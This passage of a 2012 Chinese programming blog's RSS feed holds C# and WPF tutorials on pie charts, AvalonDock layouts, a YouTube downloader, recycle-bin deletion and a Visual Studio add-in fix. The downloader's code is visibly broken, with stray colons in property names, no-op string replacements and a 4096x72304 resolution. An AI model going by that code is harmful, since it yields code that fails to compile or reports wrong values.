Brush brush2 = new SolidBrush(Color.Blue);
Brush brush3 = new SolidBrush(Color.Maroon);
Brush brush4 = new SolidBrush(Color.Navy);
Brush brush5 = new SolidBrush(Color.YellowGreen);
graphics.Clear(pictureBox1.BackColor);&lt;/pre&gt;
&lt;p&gt;现在我们可以开始创建我们的饼图了。graphics.FillPie();方法接受四个参数&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;笔刷，用来填充扇形&lt;/li&gt;
&lt;li&gt;矩形：饼图将被创建的区域。&lt;/li&gt;
&lt;li&gt;开始角度：饼部分的开始角度&lt;/li&gt;
&lt;li&gt;覆盖角度：饼部分扫过的角度&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;一般来说graphics.FillPie();方法并不是创建一个完全的饼图，而是创建饼图的一个扇形部分，我们会创建一系列的扇形最终看起来像是一个饼图。&lt;/p&gt;</description>
    </item>
    <item>
      <title>AvalonDock 2.0入门指南第一部分</title>
      <link>http://blog.leaver.me/2012/09/26/avalondock-2.0%E5%85%A5%E9%97%A8%E6%8C%87%E5%8D%97%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86/</link>
      <pubDate>Wed, 26 Sep 2012 16:38:26 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/26/avalondock-2.0%E5%85%A5%E9%97%A8%E6%8C%87%E5%8D%97%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;http://avalondock.codeplex.com&#34;&gt;AvalonDock&lt;/a&gt; 2.0可以用来为WPF创建一个类似Visual Studio的界面，深入理解如何使用AvalonDock进行开发是很重要的。&lt;/p&gt;
&lt;p&gt;在这个入门指南里，我将演示如何开始使用AvalonDock，下面的文章都是基于2.0版本的。并且不能用于早期的版本。&lt;/p&gt;
&lt;p&gt;AvalonDock是一个组合的布局模型，很多的控件都在视图上显示，一个DockingManager 类也显示在停靠区，用于可以拖拽文档和工具。&lt;/p&gt;
&lt;p&gt;从下面这个截图中我们可以理解AvalonDock组件&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27544_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/38cf4425c7a05bde89671d9f06c99e6626985373.png&#34; title=&#34;ADTutorial&#34;&gt;&lt;/a&gt;
&lt;strong&gt;DockingManager&lt;/strong&gt; 这是AvalonDock中的核心控件，它将包含的窗格排序，处理飞出的窗格，还有浮动的窗口。在上面这个图中，DockingManager 对象包含了所有空间（WPF控件），从顶部的工具栏到底部的状态栏都算。同时。DockingManager 也可以处理保存和恢复布局。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LayoutPanel&lt;/strong&gt; 这个面板用来管理在一个方向上的子窗口（通过Orientation属性来选择方向），并且在它们之间添加了一个大小调节控件，在一个Orientation属性是Horizontal（水平）的LayoutPanel 上，排列了三个窗格。一个LayoutAnchorablePane在左，一个LayoutDocumentPane在中间。一个LayoutDockablePane在右边。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LayoutDockablePane&lt;/strong&gt;  这个布局元素包含一个LayoutAnchorable对象的集合。通过它用来管理想TabControl这样的控件，在上面的截图中，LayoutDockablePanes是在左边的&amp;rsquo;Strumenti&amp;rsquo; 和 &amp;lsquo;Progetti&amp;rsquo; (工具和项目)  和在右边的&amp;rsquo;Classi&amp;rsquo; 和 &amp;lsquo;Proprieta&amp;rsquo;&amp;rsquo; (类视图和属性视图)的容器，一个LayoutDockablePane可以自动隐藏，就像&amp;rsquo;Errori&amp;rsquo;(错误)和&amp;rsquo;Lista Azioni&amp;rsquo;(操作列表) and &amp;lsquo;Uscita&amp;rsquo;(输出)。并且LayoutDockablePane可以被拖动到DockingManager上，成为一个浮动窗口或者附着到它的父控件DockingManager的边缘上。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LayoutDocumentPane&lt;/strong&gt; 通常包含文档（DocumentContent类型）的一种窗格，但是其实也可以包含像上面提到的工具视图和类视图这样的DockableContents。在一个文档里。LayoutDocumentPane 被放置在ResizingPanel（水平方向）里。ResizingPanel则是上卖弄提到的在两个DockablePane中间的区域。注意。文档窗格是不能被移动的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LayoutAnchorable&lt;/strong&gt; 一个停靠内容，是软件控件的容器，总是被包含在一个窗格里（LayoutAnchorablePane或是LayoutDocumentPane），在截图里。LayoutAnchorable是一类对象（包含一个SharpDevelop对象），工具对象，但是错误窗口（它处于自动隐藏状态，被好办在一个自动隐藏窗格里）不是。LayoutAnchorable就像它名字所暗示的那样。可以被从他的容器窗格里拖走。然后重新放置在一个存在的窗格里。或者是放置在父DockingManager的边缘，或者是放置在一个浮动窗口里（LayoutAnchorableFloatingWindow）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LayoutDocument&lt;/strong&gt; 是一个仅可以被寄宿到LayoutDocumentPane的内容。它是一个特殊的内容，因为不能被停靠到边缘。仅能被放置到LayoutDocumentPane里。或者浮动在一个LayoutDocumentFloatingWindow窗口里。在途中，DocumentContent对象是program.cs&amp;rsquo; 或 &amp;lsquo;MainForm.cs&amp;rsquo; 文件视图&lt;/p&gt;
&lt;p&gt;**LayoutFloatingWindow **，是一个包含内容的窗口，当被拖动到一个DockingManager上面的时候，LayoutFloatingWindow（LayoutAnchorableFloatingWindow和LayoutDocumentFloatingWindow继承自他）集成在Window，总是包含一个窗格（LayoutAnchorablePane或是LayoutDocumentPane），窗格包含更多的内容（LayoutAnchorable或LayoutDocument），当用户对一个内容或是DockablePane执行拖拽，或者直接手工使用代码调用LayoutContent.Float()方法 LayoutFloatingWindow就被直接从DockingManager创建出来了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LayoutPane&lt;/strong&gt;  一个基类，LayoutDockablePane和LayoutDocumentPane继承自它。它为他们提供了一些共有的属性和方法。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LayoutContent&lt;/strong&gt; 是LayoutAnchorable 和LayoutAnchorable类的父类。提供了共有的属性和方法。&lt;/p&gt;
&lt;p&gt;理解布局元素是一些属于布局模型的类而不是属于视图是很重要的。因为，他们不是继承自FrameworkElement类，取而代之。AvalonDock包含了另一些类来展示这些组件的视图。这些类通常被命名为相关联的类名+Control字串。举个例子，在布局里创建的LayoutAnchorable创建了一个LayoutAnchorableControl（继承自FrameworkElement的类），并且绑定了LayoutAnchorableControl.Model 到这个LayoutAnchorable对象上。&lt;/p&gt;
&lt;p&gt;每一个被创建的视图控件总是有着Model属性的布局元素。因此，重新设计一个相关视图控件的样式是可以的。&lt;/p&gt;
&lt;p&gt;为了开始创建一个新的.net 4/.net 4.5的解决方案。并且添加对AvalonDock.dll的引用（可以直接添加也可以使用NuGet），然后添加AD命名空间到MainWindow.xaml中。&lt;/p&gt;
&lt;p&gt;在根Grid下放置DockingManager组件和一个简单的布局。&lt;/p&gt;
&lt;pre class=&#34;lang:xhtml decode:true &#34; &gt;&amp;lt;Window x:Class=&#34;MainWindow&#34;
        xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34;
        xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34;
        xmlns:avalonDock=&#34;http://avalondock.codeplex.com&#34;
        Title=&#34;MainWindow&#34; Height=&#34;434&#34; Width=&#34;684&#34;&amp;gt;
    &amp;lt;Grid&amp;gt;
        &amp;lt;avalonDock:DockingManager x:Name=&#34;dockingManager&#34;&amp;gt;
            &amp;lt;avalonDock:LayoutRoot&amp;gt;
                &amp;lt;avalonDock:LayoutPanel Orientation=&#34;Horizontal&#34;&amp;gt;
                    &amp;lt;avalonDock:LayoutDocumentPane/&amp;gt;
                    &amp;lt;avalonDock:LayoutAnchorablePane DockWidth=&#34;150&#34;&amp;gt;
                        &amp;lt;avalonDock:LayoutAnchorable Title=&#34;Sample Tool Pane&#34;&amp;gt;
                            &amp;lt;TextBox/&amp;gt;
                        &amp;lt;/avalonDock:LayoutAnchorable&amp;gt;
                    &amp;lt;/avalonDock:LayoutAnchorablePane&amp;gt;
                &amp;lt;/avalonDock:LayoutPanel&amp;gt;
                &amp;lt;avalonDock:LayoutRoot.LeftSide&amp;gt;
                    &amp;lt;avalonDock:LayoutAnchorSide&amp;gt;
                        &amp;lt;avalonDock:LayoutAnchorGroup&amp;gt;
                            &amp;lt;avalonDock:LayoutAnchorable Title=&#34;Autohidden Content&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutAnchorable&amp;gt;
                        &amp;lt;/avalonDock:LayoutAnchorGroup&amp;gt;
                    &amp;lt;/avalonDock:LayoutAnchorSide&amp;gt;
                &amp;lt;/avalonDock:LayoutRoot.LeftSide&amp;gt;
            &amp;lt;/avalonDock:LayoutRoot&amp;gt;
        &amp;lt;/avalonDock:DockingManager&amp;gt;
    &amp;lt;/Grid&amp;gt;
&amp;lt;/Window&amp;gt;
&lt;/pre&gt; 
&lt;p&gt;DockingManager是AvalonDock的核心类，他的责任就是创建管理布局。布局被定义成一个ILayoutElement的树。树的根由LayoutRoot类指定。LayoutRoot由一些基本的子树来构成。。&lt;/p&gt;
&lt;p&gt;1.根面板的 根属性指向主 LayoutPanel，也是LayoutRoot的内容属性。&lt;/p&gt;
&lt;p&gt;2.大体上讲，RightSide/LeftSide/TopSide/BottonSide是LayoutAnchorGroup对象的集合属性，他们表示了停靠管理器的四个边。停靠管理器的锚通常是隐藏的。当用户移动鼠标到这些区域的时候。就会在自动隐藏的窗口里显示出来。&lt;/p&gt;
&lt;p&gt;3.FloatingWindows属性是FloatingWindow的集合。一个浮动窗口当用户拖动一个窗格（LayoutAnchorable或是LayoutDocument）的时候就被创建出来，这个集合可以被AvalonDock自动更新，但是用户依然可以通过调用LayoutContent的Float()方法来创建一个浮动窗口。&lt;/p&gt;
&lt;p&gt;Hidden是一个Anchorable（停靠）对象的集合。默认情况下，当用户点击一个LayoutAnchorable对象的关闭按钮，AvalonDock隐藏它：通过从布局里移除停靠元素，并且把他放入Hidden集合，当用户想要再一次显示的时候，AD又把这个内容从隐藏集合里删除重新显示在他被隐藏的那个窗格里。&lt;/p&gt;
&lt;p&gt;当使用布局树的时候，程序员可以创建任何复杂的界面，LayoutAnchorablePane的DockWidth和DockHeight属性可以被用来设置窗格的初始宽度和高度。而LayoutDocumentPane类通常则填满可用的空间。AvalonDock管理内容元素的宽度和高度以使得可以使用所有的可用空间。因此如果一个LayoutAnchorablePane被放置在一个LayoutPanel里，为LayoutAnchorablePane使用一个固定尺寸而为LayoutDocumentPane使用一个比例长度。也就是说为停靠对象使用了比例长度。&lt;/p&gt;
&lt;p&gt;一个LayoutDocumentGroup/ LayoutAnchorableGroup类可以被用来包含更多的LayoutDocumentPane/ LayoutAnchorablePane，举个例子，让我们来改变上面的例子来实现更复杂的例子。&lt;/p&gt;
&lt;pre class=&#34;lang:xhtml decode:true &#34; &gt;&amp;lt;Window x:Class=&#34;AvalonDock2Tutorial.MainWindow&#34;
        xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34;
        xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34;
        xmlns:avalonDock=&#34;http://avalondock.codeplex.com&#34;
        Title=&#34;MainWindow&#34; Height=&#34;350&#34; Width=&#34;525&#34;&amp;gt;
    &amp;lt;Grid&amp;gt;
        &amp;lt;avalonDock:DockingManager x:Name=&#34;dockingManager&#34;&amp;gt;
            &amp;lt;avalonDock:LayoutRoot&amp;gt;
                &amp;lt;avalonDock:LayoutPanel Orientation=&#34;Horizontal&#34;&amp;gt;
                    &amp;lt;avalonDock:LayoutDocumentPaneGroup&amp;gt;
                        &amp;lt;avalonDock:LayoutDocumentPane&amp;gt;
                            &amp;lt;avalonDock:LayoutDocument Title=&#34;Doc1&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutDocument&amp;gt;
                            &amp;lt;avalonDock:LayoutDocument Title=&#34;Doc2&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutDocument&amp;gt;
                        &amp;lt;/avalonDock:LayoutDocumentPane&amp;gt;
                        &amp;lt;avalonDock:LayoutDocumentPane&amp;gt;
                            &amp;lt;avalonDock:LayoutDocument Title=&#34;Doc3&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutDocument&amp;gt;
                        &amp;lt;/avalonDock:LayoutDocumentPane&amp;gt;                        
                    &amp;lt;/avalonDock:LayoutDocumentPaneGroup&amp;gt;
                    &amp;lt;avalonDock:LayoutAnchorablePaneGroup DockWidth=&#34;150&#34; Orientation=&#34;Vertical&#34;&amp;gt;
                        &amp;lt;avalonDock:LayoutAnchorablePane&amp;gt;
                            &amp;lt;avalonDock:LayoutAnchorable Title=&#34;Tool 1&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutAnchorable&amp;gt;
                            &amp;lt;avalonDock:LayoutAnchorable Title=&#34;Tool 2&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutAnchorable&amp;gt;
                        &amp;lt;/avalonDock:LayoutAnchorablePane&amp;gt;
                        &amp;lt;avalonDock:LayoutAnchorablePane&amp;gt;
                            &amp;lt;avalonDock:LayoutAnchorable Title=&#34;Tool 3&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutAnchorable&amp;gt;
                            &amp;lt;avalonDock:LayoutAnchorable Title=&#34;Tool 4&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutAnchorable&amp;gt;
                        &amp;lt;/avalonDock:LayoutAnchorablePane&amp;gt;
                    &amp;lt;/avalonDock:LayoutAnchorablePaneGroup&amp;gt;
                &amp;lt;/avalonDock:LayoutPanel&amp;gt;
                &amp;lt;avalonDock:LayoutRoot.LeftSide&amp;gt;
                    &amp;lt;avalonDock:LayoutAnchorSide&amp;gt;
                        &amp;lt;avalonDock:LayoutAnchorGroup&amp;gt;
                            &amp;lt;avalonDock:LayoutAnchorable Title=&#34;Autohidden Content&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutAnchorable&amp;gt;
                        &amp;lt;/avalonDock:LayoutAnchorGroup&amp;gt;
                    &amp;lt;/avalonDock:LayoutAnchorSide&amp;gt;
                &amp;lt;/avalonDock:LayoutRoot.LeftSide&amp;gt;
            &amp;lt;/avalonDock:LayoutRoot&amp;gt;
        &amp;lt;/avalonDock:DockingManager&amp;gt;

    &amp;lt;/Grid&amp;gt;
&amp;lt;/Window&amp;gt;&lt;/pre&gt; 
&lt;p&gt;运行这个工程你就可以重新排列内容了。移动他们到浮动窗口。为了更加熟悉AvalonDock，我建议你多试几次，然后重新排列内容实现更复杂的布局。&lt;/p&gt;</description>
    </item>
    <item>
      <title>C# 网络编程系列</title>
      <link>http://blog.leaver.me/2012/09/25/c%23-%E7%BD%91%E7%BB%9C%E7%BC%96%E7%A8%8B%E7%B3%BB%E5%88%97/</link>
      <pubDate>Tue, 25 Sep 2012 18:04:21 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/25/c%23-%E7%BD%91%E7%BB%9C%E7%BC%96%E7%A8%8B%E7%B3%BB%E5%88%97/</guid>
      <description>&lt;p&gt;本系列来自博客园的&lt;a href=&#34;http://www.cnblogs.com/zhili/&#34;&gt;Learning hard&lt;/a&gt;园友。每个博主都不容易，我这里只是给出一个索引，希望更多热爱技术的人能够看到。给分享者更多的鼓励和支持。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/08/11/NetWorkProgramming.html&#34;&gt;专题一：网络协议简介&lt;/a&gt;
&lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/08/18/HTTP.html&#34;&gt;专题二：HTTP协议详解&lt;/a&gt;
&lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/08/23/WebServer.html&#34;&gt;专题三：自定义Web服务器&lt;/a&gt;
&lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/08/24/WebBrowser.html&#34;&gt;专题四：自定义Web浏览器&lt;/a&gt;
&lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/08/25/TCP.html&#34;&gt;专题五：TCP编程&lt;/a&gt;
&lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/09/01/UDP_Multicast.html&#34;&gt;专题六：UDP编程&lt;/a&gt;
&lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/09/03/UDPBroadcas.html&#34;&gt;专题七：UDP编程补充——UDP广播程序的实现&lt;/a&gt;
&lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/09/14/P2P_PNPR.html&#34;&gt;专题八：P2P编程&lt;/a&gt;
&lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/09/23/QQ_P2P.html&#34;&gt;专题九：实现类似QQ的即时通信程序&lt;/a&gt;
&lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/09/24/MailSend_POP3_SMTP.html&#34;&gt;专题十：实现简单的邮件收发器&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#编写youtube下载器</title>
      <link>http://blog.leaver.me/2012/09/25/c%23%E7%BC%96%E5%86%99youtube%E4%B8%8B%E8%BD%BD%E5%99%A8/</link>
      <pubDate>Tue, 25 Sep 2012 09:33:12 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/25/c%23%E7%BC%96%E5%86%99youtube%E4%B8%8B%E8%BD%BD%E5%99%A8/</guid>
      <description>&lt;h3 id=&#34;介绍&#34;&gt;介绍&lt;/h3&gt;
&lt;p&gt;本文将会暂时如何仅仅使用C#来下载youtub视频，代码简单也容易理解，每个人都可以把它整合到自己的工程项目里。&lt;/p&gt;
&lt;p&gt;我没有使用任何第三方的库来完成这段代码，你所要做的仅仅是把两个.cs文件整合进你的项目里。&lt;/p&gt;
&lt;h3 id=&#34;使用代码&#34;&gt;使用代码&lt;/h3&gt;
&lt;p&gt;这个工程里有两个主要的类&lt;/p&gt;
&lt;p&gt;YouTubeVideoQuality Class（youtube视频质量类）&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;public class YouTubeVideoQuality 
{
    /// &amp;lt;summary&amp;gt;
    /// Gets or Sets 文件名
    /// &amp;lt;/summary&amp;gt;
    public string Videotitle: { get; set; }
    /// &amp;lt;summary&amp;gt;
    /// Gets or Sets 文件扩展
    /// &amp;lt;/summary&amp;gt;
    public string Extention { get; set; }
    /// &amp;lt;summary&amp;gt;
    /// Gets or Sets 文件地址
    /// &amp;lt;/summary&amp;gt;
    public string DownloadUrl { get; set; }
    /// &amp;lt;summary&amp;gt;
    /// Gets or Sets 视频地址
    /// &amp;lt;/summary&amp;gt;
    public string VideoUrl { get; set; }
    /// &amp;lt;summary&amp;gt;
    /// Gets or Sets 文件大小
    /// &amp;lt;/summary&amp;gt;
    public Size Dimension { get; set; }

    public override string ToString()
    {
        return Extention + &#34; File &#34; + Dimension.Width + 
                           &#34;x&#34; + Dimension.Height;
    }

    public void SetQuality(string Extention, Size Dimension)
    {
        this.Extention = Extention;
        this.Dimension = Dimension;
    }
}&lt;/pre&gt; 
&lt;p&gt;YouTubeDownloader Class(youtube下载类)&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;public class YouTubeDownloader
{
    public static List&amp;lt;YouTubeVideoQuality&amp;gt; GetYouTubeVideoUrls(params string[] VideoUrls)
    {
        List&amp;lt;YouTubeVideoQuality&amp;gt; urls = new List&amp;lt;YouTubeVideoQuality&amp;gt;();
        foreach (var VideoUrl in VideoUrls)
        {
            string html = Helper.DownloadWebPage(VideoUrl);
            string title: = GetTitle(html);
            foreach (var videoLink in ExtractUrls(html))
            {
                YouTubeVideoQuality q = new YouTubeVideoQuality();
                q.VideoUrl = VideoUrl;
                q.Videotitle: = title;
                q.DownloadUrl = videoLink + &#34;&amp;amp;title=&#34; + title;
                if (getQuality(q))
                    urls.Add(q);
            }
        }
        return urls;
    }

    private static string GetTitle(string RssDoc)
    {
        string str14 = Helper.GetTxtBtwn(RssDoc, &#34;&#39;VIDEO_TITLE&#39;: &#39;&#34;, &#34;&#39;&#34;, 0);
        if (str14 == &#34;&#34;) str14 = Helper.GetTxtBtwn(RssDoc, &#34;\&#34;title\&#34; content=\&#34;&#34;, &#34;\&#34;&#34;, 0);
        if (str14 == &#34;&#34;) str14 = Helper.GetTxtBtwn(RssDoc, &#34;&amp;amp;title=&#34;, &#34;&amp;amp;&#34;, 0);
        str14 = str14.Replace(@&#34;\&#34;, &#34;&#34;).Replace(&#34;&#39;&#34;, &#34;&#39;&#34;).Replace(
                &#34;\&#34;&#34;, &#34;&#34;&#34;).Replace(&#34;&amp;lt;&#34;, &#34;&amp;lt;&#34;).Replace(
                &#34;&amp;gt;&#34;, &#34;&amp;gt;&#34;).Replace(&#34;+&#34;, &#34; &#34;);
        return str14;
    }

    private static List&amp;lt;string&amp;gt; ExtractUrls(string html)
    {
        html = Uri.UnescapeDataString(Regex.Match(html, &#34;url_encoded_fmt_stream_map=(.+?)&amp;amp;&#34;, 
                                      RegexOptions.Singleline).Groups[1].ToString());
        MatchCollection matchs = Regex.Matches(html, 
          &#34;url=(.+?)&amp;amp;quality=(.+?)&amp;amp;fallback_host=(.+?)&amp;amp;type=(.+?)&amp;amp;itag=(.+?),&#34;, 
          RegexOptions.Singleline);
        bool firstTry = matchs.Count &amp;gt; 0;
        if (!firstTry)
            matchs = Regex.Matches(html, 
                     &#34;itag=(.+?)&amp;amp;url=(.+?)&amp;amp;type=(.+?)&amp;amp;fallback_host=(.+?)&amp;amp;sig=(.+?)&amp;amp;quality=(.+?),{0,1}&#34;, 
                     RegexOptions.Singleline);
        List&amp;lt;string&amp;gt; urls = new List&amp;lt;string&amp;gt;();
        foreach (Match match in matchs)
        {
            if (firstTry)
                urls.Add(Uri.UnescapeDataString(match.Groups[1] + &#34;&#34;));
            else urls.Add(Uri.UnescapeDataString(match.Groups[2] + &#34;&#34;) + &#34;&amp;amp;signature=&#34; + match.Groups[5]);
        }
        return urls;
    }

    private static bool getQuality(YouTubeVideoQuality q)
    {
        if (q.DownloadUrl.Contains(&#34;itag=5&#34;))
            q.SetQuality(&#34;flv&#34;, new Size(320, 240));
        else if (q.DownloadUrl.Contains(&#34;itag=34&#34;))
            q.SetQuality(&#34;flv&#34;, new Size(400, 226));
        else if (q.DownloadUrl.Contains(&#34;itag=6&#34;))
            q.SetQuality(&#34;flv&#34;, new Size(480, 360));
        else if (q.DownloadUrl.Contains(&#34;itag=35&#34;))
            q.SetQuality(&#34;flv&#34;, new Size(640, 380));
        else if (q.DownloadUrl.Contains(&#34;itag=18&#34;))
            q.SetQuality(&#34;mp4&#34;, new Size(480, 360));
        else if (q.DownloadUrl.Contains(&#34;itag=22&#34;))
            q.SetQuality(&#34;mp4&#34;, new Size(1280, 720));
        else if (q.DownloadUrl.Contains(&#34;itag=37&#34;))
            q.SetQuality(&#34;mp4&#34;, new Size(1920, 1280));
        else if (q.DownloadUrl.Contains(&#34;itag=38&#34;))
            q.SetQuality(&#34;mp4&#34;, new Size(4096, 72304));
        else return false;
        return true;
    }
}&lt;/pre&gt; 
&lt;h3 id=&#34;有趣的地方&#34;&gt;有趣的地方&lt;/h3&gt;
&lt;p&gt;使用这个代码，你可以根据你的网速来选择不同品质的视频来下载&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#删除文件和文件夹到回收站</title>
      <link>http://blog.leaver.me/2012/09/24/c%23%E5%88%A0%E9%99%A4%E6%96%87%E4%BB%B6%E5%92%8C%E6%96%87%E4%BB%B6%E5%A4%B9%E5%88%B0%E5%9B%9E%E6%94%B6%E7%AB%99/</link>
      <pubDate>Mon, 24 Sep 2012 08:04:45 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/24/c%23%E5%88%A0%E9%99%A4%E6%96%87%E4%BB%B6%E5%92%8C%E6%96%87%E4%BB%B6%E5%A4%B9%E5%88%B0%E5%9B%9E%E6%94%B6%E7%AB%99/</guid>
      <description>&lt;p&gt;如果使用C#代码来删除文件或是文件夹。会将文件和文件夹直接删除，而不是删除到回收站。可以调用Microsoft.VisualBasic.dll提供的方法。&lt;/p&gt;
&lt;p&gt;首先对项目添加名为Microsoft.VisualBasic.dll的引用，然后添加命名空间&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;using Microsoft.VisualBasic.FileIO;&lt;/pre&gt; 
&lt;p&gt;最后示例代码如下：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;using System;
using Microsoft.VisualBasic.FileIO;
namespace leaver
{
    class Program
    {

        static void Main(string[] args)
        {

            Console.WriteLine(&#34;删除文件到回收站&#34;);
            string filepath = &#34;leaver.txt&#34;;
            FileSystem.DeleteFile(filepath, UIOption.OnlyErrorDialogs, RecycleOption.SendToRecycleBin);
            Console.WriteLine(&#34;删除文件完成&#34;);

            Console.WriteLine(&#34;删除文件夹到回收站&#34;);
            string dirpath = &#34;leaver&#34;;
            FileSystem.DeleteDirectory(dirpath, UIOption.OnlyErrorDialogs, RecycleOption.SendToRecycleBin);
            Console.WriteLine(&#34;删除文件夹完成&#34;);
        }
    }
}&lt;/pre&gt; 
&lt;p&gt;很简单。。就不多说了。。&lt;/p&gt;</description>
    </item>
    <item>
      <title>VS扩展故障,错误码:80131515</title>
      <link>http://blog.leaver.me/2012/09/24/vs%E6%89%A9%E5%B1%95%E6%95%85%E9%9A%9C%E9%94%99%E8%AF%AF%E7%A0%8180131515/</link>
      <pubDate>Mon, 24 Sep 2012 08:04:33 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/24/vs%E6%89%A9%E5%B1%95%E6%95%85%E9%9A%9C%E9%94%99%E8%AF%AF%E7%A0%8180131515/</guid>
      <description>&lt;h3 id=&#34;介绍&#34;&gt;介绍&lt;/h3&gt;
&lt;p&gt;如果你给VS安装了&lt;a href=&#34;http://www.codeproject.com/Articles/446955/Web-Search-Visual-Studio-Add-in-Search-Google-Yaho&#34;&gt;Web Search&lt;/a&gt;扩展，如果第一次运行就出现了错误代码是80131515的问题。那么本文对你是有用的。。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27488_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/31f5dde58ae04aa01469671b23b71a15d328c51c.png&#34; title=&#34;question&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;背景&#34;&gt;背景&lt;/h3&gt;
&lt;p&gt;当我远程试图运行&lt;a href=&#34;http://www.codeproject.com/Articles/446955/Web-Search-Visual-Studio-Add-in-Search-Google-Yaho&#34;&gt;Web Search&lt;/a&gt;的时候出现了这个错误。我用本文第一种方法解决了。。&lt;/p&gt;
&lt;h3 id=&#34;解决方法&#34;&gt;解决方法&lt;/h3&gt;
&lt;p&gt;这个错误发生在当我远程以dll的方式调用的时候提示我说权限不够。。
为了解决这个问题，我们需要给devenv.exe.config文件添加loadFromRemoteSources 元素
首先使用管理员权限从下面的路径打开devenv.exe.config文件。
具体路径：你的VS安装目录\Common7\IDE\devenv.exe.config
并且添加loadFromRemoteSources 元素，并设为true。如下：&lt;/p&gt;
&lt;pre class=&#34;lang:xhtml decode:true &#34; &gt;&amp;lt;configuration&amp;gt;
   &amp;lt;runtime&amp;gt;
      &amp;lt;loadFromRemoteSources enabled=&#34;true&#34;/&amp;gt;
   &amp;lt;/runtime&amp;gt;
&amp;lt;/configuration&amp;gt; &lt;/pre&gt; 
&lt;p&gt;有时候windows会把下载的文件标记为“此文件来自一个不同的位置” ，然后对这些文件进行了很多的限制，这部分就是解锁下载的zip或是dll文件&lt;/p&gt;
&lt;p&gt;为了解锁这些文件，只要右键点击这些文件，属性，选择常规，然后点击解锁按钮。如下图：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27489_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/c889da920a47f1e60ef6d7140d69f20c61374388.png&#34; title=&#34;answer&#34;&gt;&lt;/a&gt;
如果你还有其他的解决方法请告诉我哦。&lt;/p&gt;
&lt;h3 id=&#34;许可&#34;&gt;许可&lt;/h3&gt;
&lt;p&gt;本文，包括源代码和文件，在CPOL下授权。&lt;/p&gt;
&lt;p&gt;原文地址：&lt;a href=&#34;http://www.codeproject.com/Tips/463777/Visual-Studio-Add-in-Troubleshooting-Error-Number&#34;&gt;Visual-Studio-Add-in-Troubleshooting-Error-Number&lt;/a&gt;
著作权声明：本文由&lt;a href=&#34;http://leaver.me&#34;&gt;http://leaver.me&lt;/a&gt; 翻译，欢迎转载分享。请尊重作者劳动，转载时保留该声明和作者博客链接，谢谢！&lt;/p&gt;</description>
    </item>
    <item>
      <title>WPF毛玻璃效果Demo和一个问题</title>
      <link>http://blog.leaver.me/2012/09/24/wpf%E6%AF%9B%E7%8E%BB%E7%92%83%E6%95%88%E6%9E%9Cdemo%E5%92%8C%E4%B8%80%E4%B8%AA%E9%97%AE%E9%A2%98/</link>
      <pubDate>Mon, 24 Sep 2012 08:04:25 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/24/wpf%E6%AF%9B%E7%8E%BB%E7%92%83%E6%95%88%E6%9E%9Cdemo%E5%92%8C%E4%B8%80%E4%B8%AA%E9%97%AE%E9%A2%98/</guid>
